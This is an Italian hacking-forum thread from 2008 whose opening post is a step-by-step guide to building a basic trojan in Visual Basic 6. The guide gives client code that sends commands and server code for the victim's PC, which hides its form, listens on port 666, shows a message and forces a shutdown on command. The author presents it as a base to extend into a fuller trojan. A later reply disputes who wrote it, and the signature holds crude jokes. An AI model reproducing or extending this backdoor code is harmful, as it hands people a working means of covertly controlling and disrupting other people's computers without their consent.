The First Hacking

Reply
Creare un trojan base in VB6
view post Posted on 21/6/2008, 10:33Quote
Avatar

Crazy To Be Crazy.
Gruppo: Dimenticato
Messaggi: Ho perso il conto...
Provenienza:E chi lo sa...

Group: Administrator
Posts: 3595
Location: Spazio bidimenzionale a 10 Km^69 la Via Poppea, generato da un tromba di silenzio e pixels reali.


Status: Offline: ultima azione eseguita il 20/12/2009, 13:04


Guida alla creazione di un trojan base in VB 6

Come tutti sapete un trojan è formato da due eseguibili, un client e un server.
Il server va eseguito sul pc della vittima, mentreil client è il programma con il quale si impartiscono gli ordini al server.
Bene, dopo questa piccola premessa partiamo subito con la creazione del nostro primo trojan.
Inizieremo con la creazione del client, che è più facile.
Per prima cosa creiamo un form con un winsock.
Andiamo ora a impostare la proprietà remoteport del nostro winsock e mettiamo come valore la porta sulla quale c'è in ascolto il server.
Nel nostro caso faremo lavorare il nostro server sulla porta "666", impostiamo poi la stessa porta anche alla proprietà
localport.
Mettiamo ora nella nostra form anche un textbox nel quale si inserirà l'ip della vittima e un commandbutton con il quale ci connetteremo
al server.
Ora nell'evento click del command inseriremi il seguente codice:

winsock1.remotehost = text1.text
winsock1.connect

ora che abbiamo fatto la connessione andiamo a vederecome impartire ordini al server:
Nel nostro daremo al nostro trojan solo due funzioni, una che farà comparire un messaggio alla vittima e l'altra
che gli spegnerà il pc, comunque seguendo lo stesso procedimento potremmo creare infinite funioni.
Andiamo a creare 2 command nella nostra form, il primo lo chioameremo cmd messaggio, e il secondo cmdspegni.
Se non lo sapete, il comando per far inviare qualcosa al winsock si chiama sendData, quindi nel primo command faremo:

winsock1.sendData "messaggio"

e nel secondo faremo:

winsock.sendDAta "spegni"

Andiamo ora a creare il nostro server:
Apriamo un nuovo progetto e creiamo un form, inseriamoci un winsock e ricordiamoci di impostare la proprietà visible del nostro
form a "false" in modo che il form sia invisibile, poi impostiamo le proprietà localport e remoteport del winsock su 666.
A questo punto nella sub form_load mettiamo in ascolto il winsock sulla propria porta in attesa di connessioni:

winsock1.listen

Ora andremo a programmare la sub Winsock1_ConnectionRequest che è la sub che viene eseguita quando il winsock riceve una richiesta di connessione:

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

La nostra sub controlla se c'è una precedente connessione aperta e la chiude e poi accetta la connessione del client.
Dopo aver visto la connessione dobbiamo gestire i dati ricevuti dal client e faremo ciò nella sub Winsock1_DataArrival.
in questa sub dovremmo controllare cosa ci chiedono di fare i comandi ricevuti ed eseguirli, quindi facciamo:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati

Select Case dati
Case "messaggio"
msgbox "Ciao utente!!!"
Case "spegni"
Shell ("shutdown -s -f -t 01")
End Select
End Sub

Questa sub mette i dati ricevuti nella variabile "dati" e poi se il contenuto della variabile dati è uguale a messaggio fa comparire un msgbox con
"scritto Ciao utente!!!" e se è uguale a spegni fa spegnere il pc della vittima.

Durante la connessione tra client e server potrebbero esserci degli errori, in questo caso ci viene in contro la sub Winsock1_Error,
nella quale in caso di errore faremo chiudere la connessione e rimetteremo in ascolto il nostro winsock

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub

Questo che abbiamo creato è solo la base di un trojan, ma è comunque funzionante e permette di capire il funzionamento del client e del server, ora sta alla fantasia
e alle conoscenze del programmatore migliorarlo ed implementarlo per farlo diventare un programma completo.

Fonte: il primo forum che mi è capitato...

Cosa pensa Google di Berlusconi:
image



http://www.hackingstyle.it/

Life's dynamic.



Perfezionando fino ad arrivare all'Imperfezione.

CITAZIONE (Albert Einstein @ ??/??/??, ??:??)
I computer sono incredibilmente veloci, accurati e stupidi. Gli uomini sono incredibilmente lenti, inaccurati e intelligenti. L'insieme dei due costituisce una forza incalcolabile.

Per le giornate tristi:
Birra Vs Gnocca - Paese che vai, usanza che trovi
image

Dopo il riscosso discorso tra "PSP" e bubu, eccone un altra dalle tante risate. [Speriamo che zio eli ricada...]
Modded By Crash_System
CITAZIONE
foffy100 scrive:Ho un problema facile facile... il sito nn mi fa accedere alla zona hot sexy ecc come mai? mi dice accesso negato se rikordo... mi aiutate?

adjectif du rien. scrive:perché devi essere abilitato. in poche parole devi inviare ad un admin la foto del tuo pene

foffy100 scrive:cioe del mio pene? e ke se ne fa scusa?

 
P_MSG P_EMAIL P_WEBSITE P_MSN P_YIM Top
view post Posted on 28/9/2008, 14:34Quote
Avatar

Advanced Member

Group: Member
Posts: 92


Status: Offline: ultima azione eseguita il 14/10/2009, 15:18


io aggiungerei:

autore: "spud---"

visto che è un mio tutorial...

ps:fate una ricerca in google per averne conferma...

image

image

image

image
 
P_MSG P_EMAIL Top
1 replies since 21/6/2008, 10:33
 
Reply

load
Fast reply

 
 
 

Enable emoticons
Clickable Smilies
Show All


Nickname:      Email: